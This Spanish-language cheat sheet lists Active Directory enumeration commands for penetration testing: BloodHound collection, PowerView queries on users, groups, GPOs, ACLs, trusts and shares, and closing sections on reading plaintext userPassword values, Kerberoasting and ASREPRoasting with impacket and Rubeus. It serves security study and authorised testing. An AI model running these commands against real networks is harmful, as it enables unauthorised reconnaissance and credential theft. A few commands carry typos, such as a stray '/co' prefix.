1. Enumeración

1.1. Enumeración automática

BloodHound - SharpHound.ps1

Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -ExcludeDC

1.2. Enumeración manual - PowerView

1.2.1. Enumeración del dominio

Dominio actual

Get-Domain | select Name,Parent,Forest,DomainControllers | fl
Get-DomainSID

Políticas del dominio (Password Policy)

(Get-DomainPolicyData).systemaccess

Domain controllers

 Get-DomainController | select Name,OSversion,IPAddress |fl

1.2.2. Users enum

Usuarios actuales del dominio

Get-DomainUser | select name,logoncount,description,memberof,useraccountcontrol

Todos los datos de todos los usuarios

 Get-DomainUser -Identity <USER> -Properties *

1.2.3. Enumeración de los equipos

Equipos del dominio

Get-DomainComputer | select name,logoncount,descreption,operatingsystem

Servidores del dominio

Get-DomainComputer –OperatingSystem "*Server*"

Equipos a los que se puede hacer ping

Get-DomainComputer -Ping  | select name,logoncount,descreption,operatingsystem

1.2.4. Enumeración de grupos

Grupos del dominio

Get-DomainGroup | select Name

Grupos del dominio que contienen "Admin”

 Get-DomainGroup *admin* | select name,Description

Miembros de los grupos del dominio

Get-DomainGroupMember -Identity "Domain Admins" | select MemberName,MemberObjectClass,MemberSID

Grupos locales de una máquina

Get-NetLocalGroup -ComputerName <HOST>

Miembros de un grupo local

Get-LocalGroupMember -Group Administrators

Miembros de equipos de otra máquina

Get-NetLocalGroupMember -ComputerName <HOST> -GroupName Administrators | select MemberName,IsGroup,IsDomain

1.2.5. Usuarios autenticados

Usuarios locales autenticados

Get-NetLoggedon | select username

Usuarios locales autenticados en un equipo determinado

Get-LoggedonLocal -ComputerName <HOST>

Último usuario autenticado en una máquina

Get-LastLoggedOn –ComputerName <HOST>

1.2.6. Políticas de Grupo (GPO)

GPOs del dominio

Get-DomainGPO | select displayname,name

GPOs de una máquina del dominio

/coGet-DomainGPO -ComputerIdentity <HOST> | select displayname,name

GPOs de un grupo de usuarios locales

 Get-DomainGPOComputerLocalGroupMapping –ComputerIdentity
 Get-DomainGPOUserLocalGroupMapping -Identity <USER>

GPOs que aplican a una OU determinada

Get-DomainGPO -Identity "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"

1.2.7. Unidades Organizativas (OU)

OUs actuales del dominio

Get-DomainOU | select name,gplink

Equipos que afectan a una OU específica

(Get-DomainOU -Identity <OU>).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name

1.2.8. Listas de Control de Acceso (ACL)

ACLs para un objeto del dominio

Get-DomainObjectAcl -SamAccountName <USER> –ResolveGUIDs

ACLs para un grupo del dominio

Get-DomainObjectAcl -SearchBase "LDAP://CN=Domain Admins,CN=Users,DC=example,DC=domain,DC=com" -ResolveGUIDs | select ObjectDN,AceType,ActiveDirectoryRights

ACLs interesantes

Find-InterestingDomainAcl -ResolveGUIDs | select IdentityReferenceName,AceType,ActiveDirectoryRights -Unique

Rutas de ACLs

Get-PathAcl -Path "\\\\<HOST>.<full.domain>\\sysvol"

1.2.9. Relaciones de confianza (Trust)

Relaciones de confianza del dominio

 Get-DomainTrust | select  SourceName,TrustAttributes,TargetName,TrustDirection

Forest actuales

Get-Forest | select Name,SchemaRoleOwner,RootDomainSid | fl

Forest del dominio

Get-ForestDomain | select Name,PdcRoleOwner

Catálogo de Forest Global

Get-ForestGlobalCatalog | select Forest,Domain,IPAddress,OSVersion,Name

Relaciones de confianza entre Forest

Get-ForestTrust

Relaciones de confianza entre Forest externos

Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}

Enumeración de relaciones de confianza externas

Get-DomainTrust | ?{$_.TrustAttributes -eq "FILTER_SIDS"}

1.2.10. Otros

Listado de todos los recursos compartidos

Invoke-ShareFinder 

Listado de los recursos compartidos del dominio accesibles

 Invoke-ShareFinder -CheckShareAccess

Enumeración de ficheros sensibles

Invoke-FileFinder

Listar los servidores de ficheros del dominio

Get-NetFileServer

1.3. Enumeración del dominio avanzada

Acceso de Admin Local

Find-LocalAdminAccess –Verbose
Find-WMILocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess.ps1

Password Hardening

$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl

Kerberoasting

Get-DomainUser -SPN | select samaccountname,serviceprincipalname

impacket-GetUserSPNs -request -dc-ip IP <Full.Domain>/<USER>:<PASSWORD>
Rubeus.exe kerberoast /stats

Get-DomainUser -Identity <USER> | select serviceprincipalname

ASREPRoasting

Get-DomainUser -PreauthNotRequired -Verbose
impacket-GetNPUsers -request -dc-ip IP <Full.Domain>/<USER>:<PASSWORD>

#ASREPRoast.ps1
Invoke-ASREPRoast -Verbose

Last updated